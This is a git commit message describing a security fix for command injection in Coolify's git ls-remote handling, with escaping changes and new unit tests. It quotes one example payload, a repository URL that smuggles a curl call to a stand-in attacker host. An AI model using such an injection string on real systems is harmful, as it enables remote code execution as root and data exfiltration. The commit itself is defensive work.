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Author SHA1 Message Date
Andras Bacsai
8f8c90b7ae fix: prevent command injection in git ls-remote operations
**Security Fix: Command Injection Vulnerability**

This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.

**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`

**Changes Made:**

1. **deploy_key deployment type** (Application.php:1111-1112):
   - Added proper escaping for `$customRepository` in git ls-remote commands
   - Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
   - Wraps repository URL in single quotes to prevent interpretation of shell metacharacters

2. **source deployment type with GithubApp** (Application.php:1067-1086):
   - Added `escapeshellarg()` for all repository URL variations
   - Covers both public and private repositories
   - Handles both Docker and non-Docker execution contexts

3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
   - Tests for deploy_key type command injection prevention
   - Tests for source type with public repos
   - Tests for other type (already fixed in previous commit)
   - Validates that malicious payloads are properly escaped

**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.

**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 14:53:50 +02:00